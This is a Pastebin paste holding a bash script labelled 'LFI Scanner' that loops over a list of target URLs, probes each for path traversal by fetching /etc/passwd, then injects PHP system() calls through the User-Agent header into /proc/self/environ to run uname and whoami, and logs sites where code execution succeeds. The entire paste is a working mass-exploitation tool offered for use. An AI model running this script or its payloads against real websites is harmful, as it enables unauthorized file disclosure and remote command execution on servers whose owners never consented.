Guest User

Untitled

a guest
May 14th, 2018
423
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.33 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. clear
  4.  
  5. cyan='\e[36m'
  6. GR='\e[34m'
  7. OG='\e[92m'
  8. WH='\e[37m'
  9. RD='\e[31m'
  10. YL='\e[33m'
  11. BF='\e[34m'
  12. DF='\e[39m'
  13. OR='\e[93m'
  14. PP='\e[91m'
  15. B='\e[1m'
  16. CC='\e[0m'
  17.  
  18. banner(){
  19. cat << "EOF"
  20. ____ ____ ___ ____ _____ _ _ _____ _____
  21. | __ ) / ___/ _ \| _ \| ____| | \ | | ____|_ _|
  22. | _ \| | | | | | | | | _| | \| | _| | |
  23. | |_) | |__| |_| | |_| | |___ _| |\ | |___ | |
  24. |____/ \____\___/|____/|_____(_)_| \_|_____| |_|
  25.  
  26. LFI Scanner
  27. Monkey B Luffy | [email protected]
  28.  
  29. EOF
  30. }
  31.  
  32. cek(){
  33. website=$1
  34. printf "${WH}[+] Checking /etc/passwd ... "
  35. cek_passwd=$(curl -s "${website}../../../../../../../../../../etc/passwd" -L)
  36. if [[ $cek_passwd =~ "/bin/bash" ]]; then
  37. printf "${OG} Vuln\n"
  38. printf "${WH}[+] Checking /proc/self/environ ... "
  39. cek_proc=$(curl -s "${website}../../../../../../../../../../proc/self/environ" -L)
  40. if [[ $cek_proc =~ "HTTP_USER_AGENT" ]]; then
  41. printf "${OG}Execute\n"
  42. printf "${WH}[+] Try Exec ... "
  43. cek_exec=$(curl -s -A "<?php system(\"uname -a\"); ?>" "${website}../../../../../../../../../../proc/self/environ" -L)
  44. if [[ $cek_exec =~ "Linux" ]]; then
  45. printf "${OG}Success\n"
  46. echo "${website}../../../../../../../../../../proc/self/environ" >> Vuln-execute.txt
  47. whoami=$(curl -s -A "<?php system(\"whoami\"); ?>" "${website}../../../../../../../../../../proc/self/environ" -L)
  48. who_am_i=$(echo $whoami | grep -Po "(?<=HTTP_USER_AGENT=)[^ ]*")
  49. printf " ${OR}Whoami => ${OG}${who_am_i}\n\n"
  50. echo " Whoami => ${who_am_i}" >> Vuln-execute.txt
  51. echo "=====================================" >> Vuln-execute.txt
  52. else
  53. printf "${PP}Failed\n"
  54. printf " ${OG}You can try manual\n\n"
  55. echo "${website}../../../../../../../../../../proc/self/environ" >> Vuln-procself.txt
  56. fi
  57. else
  58. printf "${PP}Not Execute\n\n"
  59. echo "${website}../../../../../../../../../../etc/passwd" >> Vuln-passwd.txt
  60. fi
  61. else
  62. printf "${PP}Not Vuln\n\n"
  63. echo "${website}" >> NOT-VULN.txt
  64. fi
  65.  
  66. }
  67.  
  68. if [ -z $1 ]; then
  69. banner
  70. printf " Usage : $0 <list.txt>\n"
  71. printf " Url example (in list) = http://target.com/index.php?page=\n\n"
  72. exit 1
  73. fi
  74. banner
  75.  
  76. for link in $(cat $1); do
  77. short=$(echo ${link} | grep -Po '(?<=://)[^/]*')
  78. printf "${B}${WH}Target : ${YL}http://${short} \n"
  79. cek ${link}
  80. done
Advertisement
Add Comment
Please, Sign In to add comment